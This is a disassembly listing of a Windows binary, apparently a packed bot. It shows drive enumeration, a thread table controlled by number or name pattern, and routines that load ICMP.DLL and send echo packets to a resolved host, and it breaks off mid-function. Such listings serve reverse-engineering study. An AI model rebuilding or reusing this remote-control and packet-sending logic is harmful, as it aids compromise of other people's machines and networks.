sub_4067B2+73j lea eax, [ebp+var_4] push eax call dword_4120D0 test eax, eax jz short loc_40681E cmp eax, 1 jz short loc_40681E cmp eax, 5 jz short loc_4067F8 cmp eax, 2 jz short loc_4067F8 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_4] push eax call dword_4120CC jmp short loc_406808 ; --------------------------------------------------------------------------- loc_4067F8: ; CODE XREF: sub_4067B2+27j ; sub_4067B2+2Cj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch loc_406808: ; CODE XREF: sub_4067B2+44j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_411680 mov [ebp+var_C], eax mov [ebp+var_8], edx add esi, eax loc_40681E: ; CODE XREF: sub_4067B2+1Dj ; sub_4067B2+22j inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz short loc_4067C3 mov eax, esi pop esi leave retn sub_4067B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40682C proc near ; DATA XREF: sub_406A08+29o var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_420 = byte ptr -420h var_40B = byte ptr -40Bh var_20 = byte ptr -20h var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5C8h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5C8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free add esp, 10h mov esi, offset aDriveInformati ; "Drive information - " lea edi, [ebp+var_420] xor eax, eax push 5 xor ebx, ebx pop ecx mov [ebp+arg_0], ebx rep movsd movsb mov ecx, 0FAh lea edi, [ebp+var_40B] rep stosd mov esi, dword_4121EC mov [ebp+var_10], 1 stosw stosb mov eax, dword_4143A0 mov [ebp+var_4], eax loc_406894: ; CODE XREF: sub_40682C+172j lea eax, [ebp+var_4] push eax call dword_4120D0 test eax, eax jz loc_406997 cmp eax, 1 jz loc_406997 cmp eax, 2 jnz short loc_4068F8 mov edi, offset aRemovable ; "removable" loc_4068B9: ; CODE XREF: sub_40682C+EEj push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch loc_4068C9: ; CODE XREF: sub_40682C+115j mov eax, [ebp+var_C] mov edx, [ebp+var_8] push 14h pop ecx call sub_411680 cmp [ebp+var_10], 0 mov [ebp+var_C], eax mov [ebp+var_8], edx jnz short loc_406943 lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_4114EE ; _mbscat pop ecx pop ecx jmp short loc_406947 ; --------------------------------------------------------------------------- loc_4068F8: ; CODE XREF: sub_40682C+86j cmp eax, 3 jnz short loc_406904 mov edi, offset aFixed ; "fixed" jmp short loc_40692B ; --------------------------------------------------------------------------- loc_406904: ; CODE XREF: sub_40682C+CFj cmp eax, 4 jnz short loc_406910 mov edi, offset aRemote ; "remote" jmp short loc_40692B ; --------------------------------------------------------------------------- loc_406910: ; CODE XREF: sub_40682C+DBj cmp eax, 5 jnz short loc_40691C mov edi, offset aCdRom ; "cd-rom" jmp short loc_4068B9 ; --------------------------------------------------------------------------- loc_40691C: ; CODE XREF: sub_40682C+E7j cmp eax, 6 mov edi, offset aRamdisk ; "ramdisk" jz short loc_40692B mov edi, offset aUnknown ; "unknown" loc_40692B: ; CODE XREF: sub_40682C+D6j ; sub_40682C+E2j ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_4] push eax call dword_4120CC jmp short loc_4068C9 ; --------------------------------------------------------------------------- loc_406943: ; CODE XREF: sub_40682C+B5j and [ebp+var_10], 0 loc_406947: ; CODE XREF: sub_40682C+CAj mov eax, [ebp+var_C] or eax, [ebp+var_8] jz short loc_406974 push [ebp+var_8] lea eax, [ebp+var_4] push [ebp+var_C] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4143EC push eax call esi add esp, 1Ch jmp short loc_406991 ; --------------------------------------------------------------------------- loc_406974: ; CODE XREF: sub_40682C+121j lea eax, [ebp+var_4] push edi push eax lea eax, [ebp+var_420] push eax lea eax, [ebp+var_420] push offset dword_4143DC push eax call esi add esp, 14h loc_406991: ; CODE XREF: sub_40682C+146j add ebx, [ebp+var_C] inc [ebp+arg_0] loc_406997: ; CODE XREF: sub_40682C+74j ; sub_40682C+7Dj inc byte ptr [ebp+var_4] cmp byte ptr [ebp+var_4], 5Ah jnz loc_406894 cmp [ebp+arg_0], 0 jz short loc_4069BD lea eax, [ebp+var_420] push offset a_ ; ". " push eax call sub_4114EE ; _mbscat pop ecx pop ecx loc_4069BD: ; CODE XREF: sub_40682C+17Cj push ebx lea eax, [ebp+var_420] push [ebp+arg_0] push eax lea eax, [ebp+var_420] push offset dword_4143A4 push eax call esi add esp, 14h lea eax, [ebp+var_420] push eax lea eax, [ebp+var_5C4] push offset dword_413B6C push eax call sub_4096CB push [ebp+var_5C8] call sub_406E6F add esp, 10h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40682C endp ; =============== S U B R O U T I N E ======================================= sub_406A08 proc near ; CODE XREF: sub_407A76+10ACp arg_0 = dword ptr 4 push esi push 1A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406A3E push [esp+4+arg_0] lea eax, [esi+4] push eax call sub_40457C pop ecx pop ecx push offset aDriveinfoThrea ; "Driveinfo thread" push 0 push esi push offset sub_40682C call sub_406D58 add esp, 10h loc_406A3E: ; CODE XREF: sub_406A08+10j pop esi retn sub_406A08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A40 proc near ; CODE XREF: sub_4111E8+1B7p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC lea eax, [ebp+var_8] push eax call dword_4120D8 xor eax, eax cmp [ebp+var_C], eax jl short loc_406AA1 jg short loc_406A68 cmp [ebp+var_10], eax jbe short loc_406AA1 loc_406A68: ; CODE XREF: sub_406A40+21j cmp [ebp+var_4], eax jl short loc_406AA1 jg short loc_406A74 cmp [ebp+var_8], eax jbe short loc_406AA1 loc_406A74: ; CODE XREF: sub_406A40+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol jmp short loc_406AB0 ; --------------------------------------------------------------------------- loc_406AA1: ; CODE XREF: sub_406A40+1Fj ; sub_406A40+26j ... call dword_4120D4 xor edx, edx mov ecx, 3E8h div ecx loc_406AB0: ; CODE XREF: sub_406A40+5Fj mov dword_419670, eax leave retn sub_406A40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406AB7 proc near ; CODE XREF: sub_405FF3+4Fp ; sub_407A76:loc_408BBDp ... var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC lea eax, [ebp+var_8] push eax call dword_4120D8 xor eax, eax cmp [ebp+var_C], eax jl short loc_406B18 jg short loc_406ADF cmp [ebp+var_10], eax jbe short loc_406B18 loc_406ADF: ; CODE XREF: sub_406AB7+21j cmp [ebp+var_4], eax jl short loc_406B18 jg short loc_406AEB cmp [ebp+var_8], eax jbe short loc_406B18 loc_406AEB: ; CODE XREF: sub_406AB7+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol leave retn ; --------------------------------------------------------------------------- loc_406B18: ; CODE XREF: sub_406AB7+1Fj ; sub_406AB7+26j ... call dword_4120D4 xor edx, edx mov ecx, 3E8h div ecx leave retn sub_406AB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B29 proc near ; CODE XREF: sub_40656A:loc_4065E2p ; sub_407A76+1196p var_20 = qword ptr -20h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_10] push eax call dword_4120DC lea eax, [ebp+var_8] push eax call dword_4120D8 xor eax, eax cmp [ebp+var_C], eax jl short loc_406B8A jg short loc_406B51 cmp [ebp+var_10], eax jbe short loc_406B8A loc_406B51: ; CODE XREF: sub_406B29+21j cmp [ebp+var_4], eax jl short loc_406B8A jg short loc_406B5D cmp [ebp+var_8], eax jbe short loc_406B8A loc_406B5D: ; CODE XREF: sub_406B29+2Dj push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push [ebp+var_10] call sub_4116B0 mov dword ptr [ebp+var_18], eax mov dword ptr [ebp+var_18+4], edx fild [ebp+var_18] push ecx push ecx fstp [esp+20h+var_20] call sub_4116A0 ; ceil pop ecx pop ecx call sub_411678 ; _ftol jmp short loc_406B90 ; --------------------------------------------------------------------------- loc_406B8A: ; CODE XREF: sub_406B29+1Fj ; sub_406B29+26j ... call dword_4120D4 loc_406B90: ; CODE XREF: sub_406B29+5Fj sub eax, dword_419670 leave retn sub_406B29 endp ; =============== S U B R O U T I N E ======================================= sub_406B98 proc near ; CODE XREF: sub_4111E8+C2p var_4 = dword ptr -4 and dword_419690, 0 push 1980h call sub_4114C4 ; malloc mov dword_419698, eax mov [esp+4+var_4], offset dword_419678 call sub_4071D2 pop ecx retn sub_406B98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406BBC proc near ; DATA XREF: sub_406C5D+25o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_412288 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, [ebp+arg_0] mov esi, [eax] mov [ebp+var_20], esi mov edi, [eax+4] mov [ebp+var_1C], edi push eax call sub_4114CA ; free pop ecx push esi call dword_4120E0 test eax, eax jz short loc_406C24 cmp dword_4191D8, 0 jz short loc_406C46 push esi push offset dword_41447C push offset dword_418E50 call sub_409659 add esp, 0Ch jmp short loc_406C46 ; --------------------------------------------------------------------------- loc_406C24: ; CODE XREF: sub_406BBC+48j push edi call esi or [ebp+var_4], 0FFFFFFFFh jmp short loc_406C4C ; --------------------------------------------------------------------------- push offset aBtg ; "btg" push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] loc_406C46: ; CODE XREF: sub_406BBC+51j ; sub_406BBC+66j or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_406C4C: ; CODE XREF: sub_406BBC+6Fj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_406BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C5D proc near ; CODE XREF: sub_4056AC+F9p ; sub_40719C+21p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push 8 call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_406CAD mov eax, [ebp+arg_0] mov [esi], eax mov eax, [ebp+arg_4] mov [esi+4], eax lea eax, [ebp+var_4] push eax push 0 push esi push offset sub_406BBC push 20000h push 0 call sub_411760 ; _beginthreadex add esp, 18h test eax, eax jz short loc_406CA6 push eax call dword_4120AC ; CloseHandle push 1 pop eax jmp short loc_406CAF ; --------------------------------------------------------------------------- loc_406CA6: ; CODE XREF: sub_406C5D+3Bj push esi call sub_4114CA ; free pop ecx loc_406CAD: ; CODE XREF: sub_406C5D+11j xor eax, eax loc_406CAF: ; CODE XREF: sub_406C5D+47j pop esi leave retn sub_406C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406CB2 proc near ; DATA XREF: sub_406D58+C9o var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_412298 push offset sub_41175A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi push edi mov [ebp+var_18], esp mov al, byte_4191D0 mov [ebp+var_19C], al push 60h pop ecx xor eax, eax lea edi, [ebp+var_19B] rep stosd stosw stosb and [ebp+var_4], 0 mov esi, [ebp+arg_0] mov eax, [esi] mov ecx, [eax+10h] mov [ebp+var_1A0], ecx add eax, 14h push eax lea eax, [ebp+var_19C] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx mov eax, [esi] push esi call dword ptr [eax+10h] or [ebp+var_4], 0FFFFFFFFh jmp short loc_406D47 ; --------------------------------------------------------------------------- lea eax, [ebp+var_19C] push eax push offset aThread ; "thread" push [ebp+var_14] call sub_40287C add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh xor eax, eax loc_406D47: ; CODE XREF: sub_406CB2+72j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_406CB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D58 proc near ; CODE XREF: sub_4014B0+79p ; sub_4018D5+78p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi push offset dword_419678 call sub_407200 cmp dword_419690, 10h pop ecx jnz short loc_406D83 push [ebp+arg_4] call sub_4114CA ; free pop ecx xor ebx, ebx jmp loc_406E5D ; --------------------------------------------------------------------------- loc_406D83: ; CODE XREF: sub_406D58+19j mov ecx, dword_419698 xor ebx, ebx cmp [ebp+arg_8], ebx mov edi, 198h jz short loc_406DA9 xor edx, edx lea eax, [ecx+10h] loc_406D9A: ; CODE XREF: sub_406D58+4Fj mov esi, [ebp+arg_0] cmp [eax], esi jz short loc_406DBD inc edx add eax, edi cmp edx, 10h jl short loc_406D9A loc_406DA9: ; CODE XREF: sub_406D58+3Bj mov [ebp+var_4], ebx xor edx, edx lea eax, [ecx+8] loc_406DB1: ; CODE XREF: sub_406D58+63j cmp [eax], ebx jz short loc_406DCB inc edx add eax, edi cmp edx, 10h jl short loc_406DB1 loc_406DBD: ; CODE XREF: sub_406D58+47j ; sub_406D58+82j push [ebp+arg_4] call sub_4114CA ; free pop ecx jmp loc_406E5D ; --------------------------------------------------------------------------- loc_406DCB: ; CODE XREF: sub_406D58+5Bj mov eax, edx imul eax, 198h add eax, ecx mov [ebp+var_4], eax mov [eax], edx jz short loc_406DBD mov esi, [ebp+arg_4] mov eax, [ebp+var_4] cmp esi, ebx jz short loc_406DE8 mov [esi], eax loc_406DE8: ; CODE XREF: sub_406D58+8Cj mov ecx, [ebp+arg_0] mov [eax+10h], ecx lea eax, [ebp+arg_10] push eax mov eax, [ebp+var_4] push [ebp+arg_C] add eax, 14h push eax call sub_411766 ; vsprintf mov eax, [ebp+var_4] add esp, 0Ch mov ecx, esi mov [eax+4], ebx inc dword_419690 mov eax, [ebp+var_4] cmp esi, ebx jnz short loc_406E1B mov ecx, eax loc_406E1B: ; CODE XREF: sub_406D58+BFj add eax, 0Ch push eax push ebx push ecx push offset sub_406CB2 push ebx push ebx call sub_411760 ; _beginthreadex mov ecx, [ebp+var_4] add esp, 18h mov [ecx+8], eax mov eax, [ebp+var_4] cmp [eax+8], ebx jnz short loc_406E5A push esi call sub_4114CA ; free dec dword_419690 push edi lea eax, [ebp+var_4] push ebx push eax call sub_4114E8 ; memset add esp, 10h jmp short loc_406E5D ; --------------------------------------------------------------------------- loc_406E5A: ; CODE XREF: sub_406D58+E4j push 1 pop ebx loc_406E5D: ; CODE XREF: sub_406D58+26j ; sub_406D58+6Ej ... push offset dword_419678 call sub_40720B pop ecx pop edi mov eax, ebx pop esi pop ebx leave retn sub_406D58 endp ; =============== S U B R O U T I N E ======================================= sub_406E6F proc near ; CODE XREF: sub_4011C4+2DEp ; sub_401621+277p ... arg_0 = dword ptr 4 push esi mov esi, offset dword_419678 push edi push esi call sub_407200 mov edi, [esp+0Ch+arg_0] dec dword_419690 pop ecx push dword ptr [edi+8] call dword_4120AC ; CloseHandle push 198h push 0 push edi call sub_4114E8 ; memset push esi call sub_40720B add esp, 10h pop edi pop esi retn sub_406E6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406EA9 proc near ; CODE XREF: sub_407A76+912p var_188 = byte ptr -188h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 188h push esi mov esi, [ebp+arg_0] test esi, esi push edi jz loc_406F80 push esi call sub_4059F0 test al, al pop ecx jz short loc_406F07 push esi call sub_41151C ; atoi mov edi, offset dword_419678 mov esi, eax push edi call sub_407200 pop ecx cmp esi, 10h pop ecx jnb short loc_406EFE imul esi, 198h mov eax, dword_419698 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_406EFE mov dword ptr [eax+4], 1 loc_406EFE: ; CODE XREF: sub_406EA9+39j ; sub_406EA9+4Cj push edi call sub_40720B pop ecx jmp short loc_406F80 ; --------------------------------------------------------------------------- loc_406F07: ; CODE XREF: sub_406EA9+1Fj push ebx push esi push offset aS ; "*%s*" lea eax, [ebp+var_188] push 185h push eax call sub_41152E ; _snprintf mov edi, offset dword_419678 push edi call sub_407200 mov ebx, dword_419690 add esp, 14h xor esi, esi loc_406F35: ; CODE XREF: sub_406EA9+CDj mov eax, dword_419698 add eax, esi cmp dword ptr [eax+8], 0 jz short loc_406F6A lea ecx, [ebp+var_188] add eax, 14h push ecx push eax dec ebx call sub_40790B pop ecx test al, al pop ecx jz short loc_406F66 mov eax, dword_419698 mov dword ptr [esi+eax+4], 1 loc_406F66: ; CODE XREF: sub_406EA9+AEj test ebx, ebx jz short loc_406F78 loc_406F6A: ; CODE XREF: sub_406EA9+97j add esi, 198h cmp esi, 1980h jb short loc_406F35 loc_406F78: ; CODE XREF: sub_406EA9+BFj push edi call sub_40720B pop ecx pop ebx loc_406F80: ; CODE XREF: sub_406EA9+10j ; sub_406EA9+5Cj pop edi pop esi leave retn sub_406EA9 endp ; =============== S U B R O U T I N E ======================================= sub_406F84 proc near ; CODE XREF: sub_407A76+943p var_18C = dword ptr -18Ch var_188 = byte ptr -188h arg_0 = dword ptr 4 sub esp, 18Ch push ebp push esi mov esi, [esp+194h+arg_0] xor ebp, ebp cmp esi, ebp push edi jz loc_4070A5 push esi call sub_4059F0 test al, al pop ecx jz short loc_407008 push esi call sub_41151C ; atoi mov edi, offset dword_419678 mov esi, eax push edi call sub_407200 pop ecx cmp esi, 10h pop ecx jnb short loc_406FFC imul esi, 198h mov eax, dword_419698 add eax, esi cmp [eax+8], ebp jz short loc_406FFC dec dword_419690 mov esi, [eax+8] push 198h push ebp push eax call sub_4114E8 ; memset add esp, 0Ch push ebp push esi call dword_4120E4 push esi call dword_4120AC ; CloseHandle loc_406FFC: ; CODE XREF: sub_406F84+3Dj ; sub_406F84+4Fj push edi call sub_40720B pop ecx jmp loc_4070A5 ; --------------------------------------------------------------------------- loc_407008: ; CODE XREF: sub_406F84+23j push ebx push esi push offset aS ; "*%s*" lea eax, [esp+1A4h+var_188] push 185h push eax call sub_41152E ; _snprintf push offset dword_419678 call sub_407200 mov eax, dword_419690 add esp, 14h mov [esp+19Ch+var_18C], eax xor edi, edi mov ebx, 198h loc_40703B: ; CODE XREF: sub_406F84+113j mov eax, dword_419698 add eax, edi cmp [eax+8], ebp jz short loc_40708F dec [esp+19Ch+var_18C] lea ecx, [esp+19Ch+var_188] add eax, 14h push ecx push eax call sub_40790B pop ecx test al, al pop ecx jz short loc_407089 mov eax, dword_419698 dec dword_419690 add eax, edi push ebx push ebp push eax mov esi, [eax+8] call sub_4114E8 ; memset add esp, 0Ch push ebp push esi loc_40707C: ; DATA XREF: .packed:00415DF8o ; .packed:00415E0Co ... call dword_4120E4 push esi call dword_4120AC ; CloseHandle loc_407089: ; CODE XREF: sub_406F84+D9j cmp [esp+19Ch+var_18C], ebp jz short loc_407099 loc_40708F: ; CODE XREF: sub_406F84+C1j add edi, ebx cmp edi, 1980h jb short loc_40703B loc_407099: ; CODE XREF: sub_406F84+109j push offset dword_419678 call sub_40720B pop ecx pop ebx loc_4070A5: ; CODE XREF: sub_406F84+14j ; sub_406F84+7Fj pop edi pop esi pop ebp add esp, 18Ch retn sub_406F84 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4070AF proc near ; DATA XREF: sub_40719C+1Co var_1B0 = dword ptr -1B0h var_1A4 = byte ptr -1A4h var_C = byte ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h push 1A3h lea eax, [ebp+var_1A4] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, dword_419690 add esp, 10h test eax, eax jz loc_407183 push esi push edi push 10h push eax lea eax, [ebp+var_1A4] push offset dword_4144F4 push eax call sub_4096CB mov esi, offset dword_419678 push esi call sub_407200 and [ebp+var_C], 0 and [ebp+arg_0], 0 add esp, 14h xor edi, edi loc_407112: ; CODE XREF: sub_4070AF+C5j mov eax, dword_419698 cmp dword ptr [edi+eax+8], 0 jz short loc_407165 push esi call sub_40720B mov [esp+1B0h+var_1B0], 3E8h call dword_4120A4 ; Sleep push esi call sub_407200 mov eax, dword_419698 pop ecx lea eax, [edi+eax+14h] push eax lea eax, [ebp+var_1A4] push [ebp+arg_0] push offset dword_4144E4 push eax call sub_4096CB mov eax, dword_419698 add esp, 10h cmp dword ptr [edi+eax+4], 0 jnz short loc_407176 loc_407165: ; CODE XREF: sub_4070AF+6Dj inc [ebp+arg_0] add edi, 198h cmp edi, 1980h jl short loc_407112 loc_407176: ; CODE XREF: sub_4070AF+B4j push esi call sub_40720B pop ecx pop edi xor eax, eax pop esi jmp short locret_407198 ; --------------------------------------------------------------------------- loc_407183: ; CODE XREF: sub_4070AF+2Fj lea eax, [ebp+var_1A4] push offset dword_4144C4 push eax call sub_4096CB pop ecx xor eax, eax pop ecx locret_407198: ; CODE XREF: sub_4070AF+D2j leave retn 4 sub_4070AF endp ; =============== S U B R O U T I N E ======================================= sub_40719C proc near ; CODE XREF: sub_407A76+6D3p arg_0 = dword ptr 4 push esi push 1A3h call sub_4114C4 ; malloc test eax, eax pop ecx jz short loc_4071D0 mov esi, [esp+4+arg_0] push esi push eax call sub_40457C push esi push offset sub_4070AF call sub_406C5D add esp, 10h test eax, eax jnz short loc_4071D0 push esi call sub_4114CA ; free pop ecx loc_4071D0: ; CODE XREF: sub_40719C+Ej ; sub_40719C+2Bj pop esi retn sub_40719C endp ; =============== S U B R O U T I N E ======================================= sub_4071D2 proc near ; CODE XREF: sub_4045B7+6p ; sub_406B98+1Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 18h push 0 push esi call sub_4114E8 ; memset mov eax, dword_4191E0 add esp, 0Ch test eax, eax jz short loc_4071F7 push 80000400h push esi call eax pop esi retn ; --------------------------------------------------------------------------- loc_4071F7: ; CODE XREF: sub_4071D2+19j push esi call dword_4120E8 pop esi retn sub_4071D2 endp ; =============== S U B R O U T I N E ======================================= sub_407200 proc near ; CODE XREF: sub_404639+11p ; sub_406D58+Cp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120EC retn sub_407200 endp ; =============== S U B R O U T I N E ======================================= sub_40720B proc near ; CODE XREF: sub_404639+20Ep ; sub_406D58+10Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4120F4 retn sub_40720B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407216 proc near ; CODE XREF: sub_40287C+13p ; sub_40D6E0+44Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xadd [esi], eax pop esi pop ebp retn sub_407216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407227 proc near ; CODE XREF: sub_403338+14p ; sub_403338+20p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] lock xchg eax, [esi] pop esi pop ebp retn sub_407227 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407237 proc near ; CODE XREF: sub_4072FC+13Bp var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 0Ch call dword_41969C cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40725A push offset aCouldNotGetAVa ; "Could not get a valid ICMP handle\n" call sub_411778 ; printf pop ecx xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40725A: ; CODE XREF: sub_407237+12j push ebx push esi push edi push 8 lea eax, [ebp+var_C] push 0 push eax call sub_4114E8 ; memset movzx esi, [ebp+arg_10] mov al, [ebp+arg_8] push esi mov [ebp+var_C], al call sub_411772 ; ??2@YAPAXI@Z mov ebx, eax push esi push 45h push ebx call sub_4114E8 ; memset add esp, 1Ch cmp [ebp+arg_10], 8 jnb short loc_407293 push 8 pop eax jmp short loc_407295 ; --------------------------------------------------------------------------- loc_407293: ; CODE XREF: sub_407237+55j mov eax, esi loc_407295: ; CODE XREF: sub_407237+5Aj lea esi, [eax+1Ch] push esi call sub_411772 ; ??2@YAPAXI@Z pop ecx mov edi, eax push [ebp+arg_C] lea eax, [ebp+var_C] push esi push edi push eax movzx ax, [ebp+arg_10] push eax push ebx push [ebp+arg_0] push [ebp+var_4] call dword_4196A8 cmp eax, 1 jz short loc_4072CF call dword_41206C ; RtlGetLastWin32Error mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_4072DD ; --------------------------------------------------------------------------- loc_4072CF: ; CODE XREF: sub_407237+89j mov eax, [ebp+arg_4] mov ecx, [edi] mov [eax+4], ecx mov ecx, [edi+8] mov [eax+8], ecx loc_4072DD: ; CODE XREF: sub_407237+96j push [ebp+var_4] call dword_4196A4 push ebx call sub_41176C ; ??3@YAXPAX@Z push edi call sub_41176C ; ??3@YAXPAX@Z pop ecx pop ecx push 1 pop eax pop edi pop esi pop ebx leave retn sub_407237 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4072FC proc near ; DATA XREF: sub_40756C+C9o var_2D8 = byte ptr -2D8h var_135 = byte ptr -135h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D8h push ebx push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2D8] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free xor ebx, ebx add esp, 10h cmp byte_4196B0, bl jnz short loc_407387 push offset aIcmp_dll ; "ICMP.DLL" call dword_41205C ; LoadLibraryA cmp eax, ebx mov dword_4196A0, eax jz loc_40752B mov esi, dword_412060 push offset aIcmpcreatefile ; "IcmpCreateFile" push eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" mov dword_41969C, eax push dword_4196A0 call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" mov dword_4196A8, eax push dword_4196A0 call esi ; GetProcAddress mov dword_4196A4, eax mov byte_4196B0, 1 loc_407387: ; CODE XREF: sub_4072FC+33j cmp dword_41969C, ebx jz loc_40752B cmp dword_4196A8, ebx jz loc_40752B cmp dword_4196A4, ebx jz loc_40752B lea eax, [ebp+var_135] push eax call dword_412254 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_18], eax jnz short loc_4073EB lea eax, [ebp+var_135] push eax call dword_41224C ; gethostbyname cmp eax, ebx jz loc_407466 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_18] push eax call sub_4114D0 ; memcpy add esp, 0Ch loc_4073EB: ; CODE XREF: sub_4072FC+C2j cmp [ebp+var_35], 1 mov [ebp+var_20], ebx mov byte ptr [ebp+arg_0], 1 jb loc_40752B loc_4073FC: ; CODE XREF: sub_4072FC+229j cmp [ebp+var_20], ebx jnz 